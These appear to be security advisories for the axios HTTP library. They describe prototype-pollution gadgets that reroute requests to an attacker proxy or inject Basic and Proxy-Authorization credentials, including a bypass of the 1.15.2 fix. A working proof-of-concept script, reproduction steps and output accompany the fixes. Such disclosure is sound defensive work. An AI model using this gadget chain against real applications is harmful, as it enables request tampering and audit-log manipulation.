axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are >=0.31.1 (fixed in 0.33.0) and >=1.15.2 (fixed in 1.18.0).

axios versions >=1.15.2 and <1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.

The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.

Severity: Medium (CVSS 5.4) Affected Versions: 1.15.2 (and potentially 1.15.1) Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CVSS 3.1

Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the proxy authentication context | | Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) | | Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity | | Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

| Factor | GHSA-q8qp-cvcw-x6jj | This Finding | |---|---|---| | Precondition | None — all requests affected | Must have config.proxy set | | config.baseURL PP | Hijacks all relative URL requests | Not applicable | | config.auth PP | Injects Authorization to target server | Only injects Proxy-Authorization to proxy | | Attacker sees traffic | Yes (via baseURL redirect) | No — only proxy identity affected | | Impact scope | Universal — every axios request | Only requests with explicit proxy config |

This Is a Patch Bypass

This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.

However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.

| Layer | Protection | Status | |---|---|---| | config (top-level) | Object.create(null) | ✓ Fixed | | config.proxy (nested) | utils.merge() → const result = {} | ✗ NOT Fixed | | setProxy() reads | proxy.username, proxy.auth without hasOwnProperty | ✗ NOT Fixed |

Root Cause Analysis

Step 1: utils.merge() creates plain {} for nested objects

File: lib/utils.js, line 406

javascript function merge(/ obj1, obj2, obj3, ... /) { const result = {}; // ← Plain object with Object.prototype! // ... }

When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.

Step 2: setProxy() reads proxy properties without hasOwnProperty

File: lib/adapters/http.js, lines 209-223

javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { if (proxy.username) { // ← traverses Object.prototype! proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); }

if (proxy.auth) { // ← traverses Object.prototype! const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password); if (validProxyAuth) { proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || ''); } // ... const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64'); options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED! } // ... } }

Complete Attack Chain

Object.prototype.username = 'attacker' Object.prototype.password = 'stolen-creds' │ ▼ User config: { proxy: { host: 'proxy.corp', port: 8080 } } │ ▼ mergeConfig() → utils.merge() → new plain {} config.proxy = { host: 'proxy.corp', port: 8080 } (own properties) config.proxy inherits from Object.prototype (has .username, .password) │ ▼ setProxy() at http.js:209: proxy.username → 'attacker' (from Object.prototype) → truthy! proxy.auth = 'attacker' + ':' + 'stolen-creds' │ ▼ http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Injected into EVERY proxied HTTP request!

Proof of Concept

javascript import http from 'http'; import axios from './index.js';

// Proxy server logs received Proxy-Authorization const proxyServer = http.createServer((req, res) => { console.log('Proxy-Authorization:', req.headers['proxy-authorization']); res.writeHead(200); res.end('OK'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;

// Target server const target = http.createServer((req, res) => { res.writeHead(200); res.end(); }); await new Promise(r => target.listen(0, r));

// Simulate prototype pollution from vulnerable dependency Object.prototype.username = 'attacker'; Object.prototype.password = 'stolen-creds';

// Developer sets proxy WITHOUT auth — expects no auth header await axios.get(http://127.0.0.1:${target.address().port}/api, { proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, });

// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz // Decoded: attacker:stolen-creds

delete Object.prototype.username; delete Object.prototype.password; proxyServer.close(); target.close();

Reproduction Environment

Axios version: 1.15.2 (latest patched release) Node.js version: v20.20.2 OS: macOS Darwin 25.4.0

Reproduction Steps

bash 1. Install axios 1.15.2 npm pack axios@1.15.2 tar xzf axios-1.15.2.tgz && mv package axios-1.15.2 cd axios-1.15.2 && npm install

2. Save PoC as poc.mjs (code from Section 7 above)

3. Run node poc.mjs

Verified PoC Output

=== Axios 1.15.2: PP → Proxy-Authorization Injection ===

[1] Normal request with proxy (no auth): Proxy-Authorization: none

[2] Prototype Pollution: Object.prototype.username = "attacker" Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Decoded: attacker:stolen-creds → PP injected proxy credentials: attacker:stolen-creds

[3] Impact: ✗ Attacker injects Proxy-Authorization into all proxied requests ✗ If proxy logs auth, attacker credential appears in proxy logs ✗ If proxy authenticates based on this, attacker controls proxy identity ✗ Works on 1.15.2 despite null-prototype config fix ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Confirming the Bypass Mechanism

Direct PP (config.proxy) — BLOCKED by 1.15.2: Object.prototype.proxy = { host: 'evil' } config.proxy = undefined ← null-prototype blocks ✓

Nested PP (proxy.username) — BYPASSES 1.15.2: Object.prototype.username = 'attacker' config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties config.proxy own keys: ['host', 'port'] ← username NOT own config.proxy.username = 'attacker' ← inherited from Object.prototype! hasOwn(config.proxy, 'username') = false

Impact Analysis

- Proxy Identity Spoofing: The injected Proxy-Authorization header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity. - Proxy Log Poisoning: Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation. - Credential Injection Amplification: If the proxy forwards the Proxy-Authorization header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain. - Universal Scope When Proxy Is Configured: Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.

Prerequisite

- Application must use config.proxy (explicit proxy configuration) - A separate prototype pollution vulnerability must exist in the dependency tree - Object.prototype.username or Object.prototype.auth must be polluted

Recommended Fix

Fix 1: Use hasOwnProperty in setProxy()

javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);

if (hasOwn(proxy, 'username')) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); }

if (hasOwn(proxy, 'auth')) { // ... existing auth handling ... } } }

Fix 2: Use null-prototype objects in utils.merge()

javascript // lib/utils.js line 406 function merge(/ obj1, obj2, obj3, ... /) { const result = Object.create(null); // ← null-prototype for nested objects too // ... }

Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()

References

- CWE-1321: Prototype Pollution - GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2) - GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0) - Axios GitHub Repository